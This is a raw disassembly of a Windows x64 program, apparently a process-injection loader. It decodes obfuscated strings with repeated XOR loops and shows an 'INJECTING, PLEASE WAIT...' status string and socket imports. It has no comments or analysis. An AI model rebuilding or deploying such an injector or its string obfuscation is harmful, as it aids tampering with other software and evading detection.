movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x140051cc1
cmp r8d, 0x2a
jge 0x140051e14
movsxd rax, r8d
lea r9, [rbp + 0x3b0]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x2a
jl 0x140051de0
movaps xmm0, xmmword [0x1400f8790]
lea rcx, [rbp + 0x6e0]
movups xmmword [rbp + 0x6e0], xmm0
call fcn.140003830
movaps xmm1, xmm10
mov r9d, eax
mov r8, r12
addss xmm1, dword [0x1400f8528]
test eax, 0xff000000
je 0x140051edf
lea rax, [rbp + 0x3b0]
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140051e60
lea rdx, [rbp + 0x3b0]
add rdx, rcx
lea rax, [rbp + 0x3b0]
cmp rax, rdx
je 0x140051edf
test r12, r12
jne 0x140051e8c
mov rax, qword [rbx + 0x38]
mov r8, qword [rax + 8]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [rbp + 0x3b0]
movss dword [rsp + 0x40], xmm12
movaps xmm2, xmm13
mov qword [rsp + 0x38], rdx
mov rcx, r8
mov qword [rsp + 0x30], rax
mov rdx, rbx
movups xmmword [rsp + 0x60], xmm0
lea rax, [rsp + 0x60]
movaps xmm0, xmm11
mov qword [rsp + 0x28], rax
unpcklps xmm0, xmm1
mov dword [rsp + 0x20], r9d
movq r9, xmm0
call fcn.140033470
movzx eax, word [0x1400f8050]
mov r8d, r14d
mov word [rbp + 0x260], ax
movzx eax, byte [0x1400f8052]
mov byte [rbp + 0x262], al
movups xmm0, xmmword [str.rg__zbxxwy]
movups xmm1, xmmword [0x1400f8038]
movups xmmword [rbp + 0x238], xmm0
movsd xmm0, qword [0x1400f8048]
movsd qword [rbp + 0x258], xmm0
movups xmmword [rbp + 0x248], xmm1
cmp r13d, 2
jl 0x14005207d
movdqa xmm0, xmmword [0x1400f86e0]
lea rcx, [rbp + 0x238]
movdqa xmm5, xmmword [0x1400f8670]
movdqa xmm4, xmmword [0x1400f87e0]
movdqa xmm7, xmmword [0x1400f8690]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
movd xmm6, r15d
movd xmm8, edi
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x140051f70
cmp r8d, 0x2b
jge 0x1400520c4
movsxd rax, r8d
lea r9, [rbp + 0x238]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x2b
jl 0x140052090
movaps xmm0, xmmword [0x1400f8790]
lea rcx, [rbp + 0x6f0]
movups xmmword [rbp + 0x6f0], xmm0
call fcn.140003830
movaps xmm1, xmm10
mov r9d, eax
mov r8, r12
addss xmm1, dword [0x1400f8530]
test eax, 0xff000000
je 0x14005218f
lea rax, [rbp + 0x238]
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140052110
lea rdx, [rbp + 0x238]
add rdx, rcx
lea rax, [rbp + 0x238]
cmp rax, rdx
je 0x14005218f
test r12, r12
jne 0x14005213c
mov rax, qword [rbx + 0x38]
mov r8, qword [rax + 8]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [rbp + 0x238]
movss dword [rsp + 0x40], xmm12
movaps xmm2, xmm13
mov qword [rsp + 0x38], rdx
mov rcx, r8
mov qword [rsp + 0x30], rax
mov rdx, rbx
movups xmmword [rsp + 0x60], xmm0
lea rax, [rsp + 0x60]
movaps xmm0, xmm11
mov qword [rsp + 0x28], rax
unpcklps xmm0, xmm1
mov dword [rsp + 0x20], r9d
movq r9, xmm0
call fcn.140033470
movzx eax, word [0x1400f7ea8]
mov r8d, r14d
mov word [rbp + 0x408], ax
movups xmm0, xmmword [str.ezvg]
movups xmm1, xmmword [0x1400f7e90]
movups xmmword [rbp + 0x3e0], xmm0
movsd xmm0, qword [0x1400f7ea0]
movsd qword [rbp + 0x400], xmm0
movups xmmword [rbp + 0x3f0], xmm1
cmp r13d, 2
jl 0x14005231e
movdqa xmm0, xmmword [0x1400f86e0]
lea rcx, [rbp + 0x3e0]
movdqa xmm5, xmmword [0x1400f8670]
movdqa xmm4, xmmword [0x1400f87e0]
movdqa xmm7, xmmword [0x1400f8690]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
movd xmm6, r15d
movd xmm8, edi
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x140052211
cmp r8d, 0x2a
jge 0x140052364
movsxd rax, r8d
lea r9, [rbp + 0x3e0]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x2a
jl 0x140052330
movaps xmm0, xmmword [0x1400f8790]
lea rcx, [rbp + 0x700]
movups xmmword [rbp + 0x700], xmm0
call fcn.140003830
movaps xmm1, xmm10
mov r9d, eax
mov r8, r12
addss xmm1, dword [0x1400f8534]
test eax, 0xff000000
je 0x14005242f
lea rax, [rbp + 0x3e0]
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400523b0
lea rdx, [rbp + 0x3e0]
add rdx, rcx
lea rax, [rbp + 0x3e0]
cmp rax, rdx
je 0x14005242f
test r12, r12
jne 0x1400523dc
mov rax, qword [rbx + 0x38]
mov r8, qword [rax + 8]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [rbp + 0x3e0]
movss dword [rsp + 0x40], xmm12
movaps xmm2, xmm13
mov qword [rsp + 0x38], rdx
mov rcx, r8
mov qword [rsp + 0x30], rax
mov rdx, rbx
movups xmmword [rsp + 0x60], xmm0
lea rax, [rsp + 0x60]
movaps xmm0, xmm11
mov qword [rsp + 0x28], rax
unpcklps xmm0, xmm1
mov dword [rsp + 0x20], r9d
movq r9, xmm0
call fcn.140033470
mov eax, dword [0x1400f8248]
mov r8d, r14d
mov dword [rbp + 0x90], eax
movzx eax, word [0x1400f824c]
mov word [rbp + 0x94], ax
movzx eax, byte [0x1400f824e]
mov byte [rbp + 0x96], al
movups xmm0, xmmword [0x1400f8238]
movups xmmword [rbp + 0x80], xmm0
cmp r13d, 2
jl 0x1400525bd
movdqa xmm0, xmmword [0x1400f86e0]
lea rcx, [rbp + 0x80]
movdqa xmm5, xmmword [0x1400f8670]
movdqa xmm4, xmmword [0x1400f87e0]
movdqa xmm7, xmmword [0x1400f8690]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
movd xmm6, r15d
movd xmm8, edi
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x1400524b0
cmp r8d, 0x17
jge 0x140052604
movsxd rax, r8d
lea r9, [rbp + 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x1400525d0
movaps xmm0, xmmword [0x1400f8790]
lea rcx, [rbp + 0x710]
movups xmmword [rbp + 0x710], xmm0
call fcn.140003830
movaps xmm1, xmm10
mov r9d, eax
mov r8, r12
addss xmm1, dword [0x1400f853c]
test eax, 0xff000000
je 0x1400526cf
lea rax, [rbp + 0x80]
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140052650
lea rdx, [rbp + 0x80]
add rdx, rcx
lea rax, [rbp + 0x80]
cmp rax, rdx
je 0x1400526cf
test r12, r12
jne 0x14005267c
mov rax, qword [rbx + 0x38]
mov r8, qword [rax + 8]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [rbp + 0x80]
movss dword [rsp + 0x40], xmm12
movaps xmm2, xmm13
mov qword [rsp + 0x38], rdx
mov rcx, r8
mov qword [rsp + 0x30], rax
mov rdx, rbx
movups xmmword [rsp + 0x60], xmm0
lea rax, [rsp + 0x60]
movaps xmm0, xmm11
mov qword [rsp + 0x28], rax
unpcklps xmm0, xmm1
mov dword [rsp + 0x20], r9d
movq r9, xmm0
call fcn.140033470
cmp byte [str.Hga], 0
movups xmm0, xmmword [0x1400f7f58]
movups xmmword [rbp + 0x360], xmm0
movsd xmm0, qword [0x1400f7f68]
movsd qword [rbp + 0x370], xmm0
je 0x140052895
cmp r13d, 2
jl 0x140052857
movdqa xmm0, xmmword [0x1400f86e0]
lea rcx, [rbp + 0x360]
movdqa xmm5, xmmword [0x1400f8670]
mov edx, r14d
movdqa xmm4, xmmword [0x1400f87e0]
movdqa xmm7, xmmword [0x1400f8690]
movdqa xmmword [rsp + 0x60], xmm0
mov r8d, dword [rsp + 0x60]
movd xmm6, r15d
movd xmm8, edi
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x18
jl 0x140052750
jmp 0x140052895
lea r9, [rbp + 0x360]
mov r8d, r14d
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x18
jl 0x140052861
movaps xmm0, xmmword [0x1400f87b0]
lea rcx, [rbp + 0x720]
movups xmmword [rbp + 0x720], xmm0
call fcn.140003830
movaps xmm1, xmm10
mov r9d, eax
mov r8, r12
addss xmm1, dword [0x1400f854c]
test eax, 0xff000000
je 0x14005295f
lea rax, [rbp + 0x360]
mov rcx, 0xffffffffffffffff
nop word [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400528e0
lea rdx, [rbp + 0x360]
add rdx, rcx
lea rax, [rbp + 0x360]
cmp rax, rdx
je 0x14005295f
test r12, r12
jne 0x14005290c
mov rax, qword [rbx + 0x38]
mov r8, qword [rax + 8]
movups xmm0, xmmword [rbx + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [rbp + 0x360]
movss dword [rsp + 0x40], xmm12
movaps xmm2, xmm14
mov qword [rsp + 0x38], rdx
mov rcx, r8
mov qword [rsp + 0x30], rax
mov rdx, rbx
movups xmmword [rsp + 0x60], xmm0
lea rax, [rsp + 0x60]
movaps xmm0, xmm11
mov qword [rsp + 0x28], rax
unpcklps xmm0, xmm1
mov dword [rsp + 0x20], r9d
movq r9, xmm0
call fcn.140033470
movzx eax, byte [0x1400f7cb8]
mov r8d, r14d
mov byte [rbp + 0x2b8], al
movups xmm1, xmmword [0x1400f7ca8]
movups xmm0, xmmword [0x1400f7c98]
movups xmmword [rbp + 0x2a8], xmm1
movups xmmword [rbp + 0x298], xmm0
cmp r13d, 2
jl 0x140052add
movdqa xmm0, xmmword [0x1400f86e0]
lea rcx, [rbp + 0x298]
movdqa xmm5, xmmword [0x1400f8670]
movdqa xmm4, xmmword [0x1400f87e0]
movdqa xmm7, xmmword [0x1400f8690]
movdqa xmmword [rsp + 0x60], xmm0
mov edx, dword [rsp + 0x60]
movd xmm6, r15d
movd xmm8, edi
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x20
jl 0x1400529d0
cmp r8d, 0x21
jge 0x140052b24
movsxd rax, r8d
lea r9, [rbp + 0x298]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x21
jl 0x140052af0
movaps xmm0, xmmword [0x1400f8790]
lea rcx, [rbp + 0x730]
movups xmmword [rbp + 0x730], xmm0
call fcn.140003830
mov r9d, eax
mov r8, r12
addss xmm10, dword [0x1400f8550]
test eax, 0xff000000
je 0x140052bea
lea rax, [rbp + 0x298]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], 0
jne 0x140052b66
lea rdx, [rbp + 0x298]
add rdx, rcx
lea rax, [rbp + 0x298]
cmp rax, rdx
je 0x140052bea
test r12, r12
jne 0x140052b92
mov rax, qword [rbx + 0x38]
mov r8, qword [rax + 8]
movups xmm0, xmmword [rbx + 0x88]
lea rax, [rbp + 0x298]
mov byte [rsp + 0x48], 0
movss xmm2, dword [0x1400f84c8]
mov rcx, r8
movss dword [rsp + 0x40], xmm12
mov qword [rsp + 0x38], rdx
mov rdx, rbx
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x28], rax
movaps xmm0, xmm11
mov dword [rsp + 0x20], r9d
unpcklps xmm0, xmm10
movq r9, xmm0
call fcn.140033470
cmp byte [0x1400f7b3b], 0
mov rcx, qword [0x1401e29d0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm13
addss xmm2, xmm15
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
movss xmm0, dword [rax + 0x134]
maxss xmm1, dword [rax + 0x118]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov eax, dword [str.cg4wg]
mov dword [rbp - 0xc], eax
mov dword [rbp + 0x188], 0x42a00000
mov dword [rbp + 0x18c], 0x41c80000
je 0x140052d64
cmp r13d, 2
jl 0x140052d22
movdqa xmm3, xmmword [0x1400f8670]
movdqa xmm2, xmm3
movdqa xmm0, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400f87e0]
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400f87e0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r15d
psrad xmm2, xmm0
movd xmm0, edi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1400f8690]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400f86a0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400f86e0]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp - 0xc], xmm2
jmp 0x140052d64
lea r9, [rbp - 0xc]
mov r8d, r14d
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x140052d30
lea rdx, [rbp + 0x188]
lea rcx, [rbp - 0xc]
call fcn.14004bc60
test al, al
je 0x140052e84
xorps xmm0, xmm0
mov qword [rbp + 0x4c0], r14
mov r8d, Ordinal_27
mov qword [rbp + 0x4c8], r14
lea rdx, str.INJECTING__PLEASE_WAIT...
lea rcx, [rbp + 0x4b0]
movups xmmword [rbp + 0x4b0], xmm0
call fcn.140058d70
lea rcx, [rbp + 0x5a0]
call fcn.140049a40
movss xmm2, dword [0x1400f8494]
lea rdx, [rbp + 0x4b0]
mov rcx, rax
call fcn.14004de20
mov rdx, qword [rbp + 0x5b8]
cmp rdx, 0x10
jb 0x140052e11
mov rcx, qword [rbp + 0x5a0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052e0c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400555d2
call fcn.1400c1ae0
mov rdx, qword [rbp + 0x4c8]
mov qword [rbp + 0x5b0], r14
mov qword [rbp + 0x5b8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x5a0], 0
cmp rdx, 0x10
jb 0x140052e6b
mov rcx, qword [rbp + 0x4b0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052e66
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400555d2
call fcn.1400c1ae0
mov qword [rbp + 0x4c0], r14
mov qword [rbp + 0x4c8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x4b0], 0
mov rcx, qword [0x1401e29d0]
lea r8, [rbp + 0x190]
cmp dword [reloc.WS2_32.dll_closesocket], 1
movss xmm6, dword [0x1400f8578]
sete dl
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
lea rcx, [rbp - 0x18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm6
addss xmm2, dword [0x1400f8560]
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
movss xmm0, dword [rax + 0x134]
maxss xmm1, dword [rax + 0x118]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov eax, dword [0x1400f7b3c]
mov dword [rbp - 0x18], eax
movzx eax, byte [0x1400f7b40]
xor byte [rbp - 0x17], 0x32
xor al, 0x35
xor byte [rbp - 0x16], 0x33
xor byte [rbp - 0x15], 0x34
mov byte [rbp - 0x14], al
mov dword [rbp + 0x190], 0x42a00000
mov dword [rbp + 0x194], 0x41c80000
mov byte [rbp - 0x18], 0x46
call fcn.14004c890
test al, al
je 0x140052f6e
mov edx, 1
mov dword [reloc.WS2_32.dll_closesocket], edx
jmp 0x140052f74
mov edx, dword [reloc.WS2_32.dll_closesocket]
mov rcx, qword [0x1401e29d0]
cmp edx, 2
sete r10b
cmp byte [0x1400f7f57], 0
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x50]
subss xmm0, dword [rax + 0x9c]
movss xmm2, dword [rax + 0x54]
subss xmm2, dword [rax + 0xa0]
addss xmm0, xmm6
addss xmm2, xmm15
movss dword [rax + 0x118], xmm0
movss dword [rax + 0x11c], xmm2
movss xmm1, dword [rax + 0x130]
movss xmm0, dword [rax + 0x134]
maxss xmm1, dword [rax + 0x118]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm1
movss dword [rax + 0x134], xmm0
mov rax, qword [str.bbsse8s__]
mov qword [rbp], rax
mov dword [rbp + 0x198], 0x42a00000
mov dword [rbp + 0x19c], 0x41c80000
je 0x140053174
cmp r13d, 2
jl 0x140053131
movdqa xmm2, xmmword [0x1400f8670]
movdqa xmm3, xmmword [0x1400f8680]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400f87e0]
movdqa xmm0, xmm2
mov eax, dword [0x1400f86e0]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, r15d
